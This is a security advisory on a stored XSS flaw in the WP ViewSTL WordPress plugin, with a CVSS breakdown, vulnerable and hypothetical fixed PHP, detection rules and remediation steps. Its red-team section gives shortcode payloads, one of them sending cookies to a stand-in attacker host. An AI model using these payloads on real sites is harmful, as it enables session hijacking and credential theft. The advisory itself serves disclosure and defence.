CVE-2025-10135

Executive Summary

CVE-2025-10135 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP ViewSTL plugin for WordPress. The flaw resides in the plugin's viewstl shortcode, which fails to properly sanitize user-supplied attributes and escape output. This allows authenticated attackers with at least Contributor-level access to inject arbitrary web scripts. When a victim (including administrators) visits a page containing the injected shortcode, the malicious script executes in their browser, potentially leading to session hijacking, credential theft, or further compromise of the WordPress site.

This vulnerability affects all versions up to and including 1.0. No patch is currently available from the vendor. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant for sites with untrusted contributors.

Supply Chain & Package Security

This is a WordPress plugin vulnerability. The plugin is distributed via the WordPress plugin repository. Users should monitor for updates and consider removing the plugin if no patch is released. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: Required (victim visits page)
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. Exploitation requires authenticated access with Contributor privileges, but the stored XSS can affect all users, including administrators.

Deep Dive & Mechanics

The vulnerability exists in the viewstl shortcode handler. The plugin registers a shortcode that accepts user-supplied attributes (e.g., url, width, height). These attributes are not properly sanitized or escaped before being rendered in the HTML output. An attacker with Contributor-level access can create a post or page containing a malicious shortcode like:

[viewstl url="javascript:alert('XSS')" width="100" height="100"]

When the shortcode is processed, the url attribute is inserted directly into the HTML without escaping, allowing JavaScript execution. The stored XSS persists in the database and executes for every visitor.

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation). The root cause is the lack of esc_attr() or wp_kses() filtering on shortcode attributes.

Vulnerable vs. Patched Code

Vulnerable Code (version 1.0):

function viewstl_shortcode($atts) {
    $a = shortcode_atts( array(
        'url' => '',
        'width' => '800',
        'height' => '600',
    ), $atts );
    return '<iframe src="' . $a['url'] . '" width="' . $a['width'] . '" height="' . $a['height'] . '"></iframe>';
}
add_shortcode('viewstl', 'viewstl_shortcode');

Patched Code (hypothetical fix):

function viewstl_shortcode($atts) {
    $a = shortcode_atts( array(
        'url' => '',
        'width' => '800',
        'height' => '600',
    ), $atts );
    $safe_url = esc_url($a['url']);
    $safe_width = intval($a['width']);
    $safe_height = intval($a['height']);
    return '<iframe src="' . $safe_url . '" width="' . $safe_width . '" height="' . $safe_height . '"></iframe>';
}
add_shortcode('viewstl', 'viewstl_shortcode');

The fix uses esc_url() to sanitize the URL and intval() to ensure numeric values for width/height.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• WordPress site with WP ViewSTL plugin version <= 1.0
• Contributor-level account or higher

Steps:

1. Log in as a Contributor.
2. Create a new post or page.
3. Insert the following shortcode with a malicious payload:

   [viewstl url="javascript:alert(document.cookie)" width="100" height="100"]
   

4. Publish the post.
5. When an administrator or any user visits the post, the JavaScript executes.

Advanced Payload:

[viewstl url="javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)" width="100" height="100"]

Blue Team (Defense & Detection)

Detection:

• Monitor for posts/pages containing the [viewstl shortcode with suspicious attributes.
• Use WAF rules to block javascript: URIs in shortcode attributes.
• Review user activity logs for Contributor-level users creating posts with unusual shortcodes.

Prevention:

• Disable the WP ViewSTL plugin until a patch is available.
• Restrict Contributor-level access to trusted users only.
• Implement Content Security Policy (CSP) headers to block inline JavaScript.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/wp-viewstl/viewstl.php (vulnerable file)
• Shortcode pattern: [viewstl url="javascript:*"] or [viewstl url="data:*"]
• HTTP request: POST to /wp-admin/post.php with post_content containing [viewstl
• Log entry: Suspicious shortcode usage in post content by non-admin users

Detection Engineering

YARA Rule

rule wp_viewstl_stored_xss {
    meta:
        description = "Detects malicious shortcode attributes in WP ViewSTL plugin"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-10135"
    strings:
        $shortcode = "[viewstl" nocase
        $javascript = "javascript:" nocase
        $data_uri = "data:" nocase
    condition:
        $shortcode and ($javascript or $data_uri)
}

Sigma Rule

title: WP ViewSTL Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via WP ViewSTL shortcode
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: 'wp-admin/post.php'
        http.body|contains: '[viewstl'
        http.body|contains|any:
            - 'javascript:'
            - 'data:'
    condition: selection
falsepositives:
    - Legitimate use of javascript: in shortcode (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"WP ViewSTL Stored XSS Attempt"; flow:to_server,established; content:"[viewstl"; http_client_body; content:"javascript:"; http_client_body; distance:0; within:100; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Review all posts/pages for malicious shortcode usage.
3. Reset passwords for Contributor-level accounts if compromise is suspected.

Long-term Fix:

• Apply the vendor patch when available.
• Implement input validation and output escaping for all shortcode attributes.
• Use WordPress coding standards (e.g., esc_url(), intval()).

Workarounds:

• Use a Web Application Firewall (WAF) to block javascript: URIs in shortcode attributes.
• Restrict shortcode usage to administrators only via current_user_can() checks.

Valters IT
Securing Digital Frontiers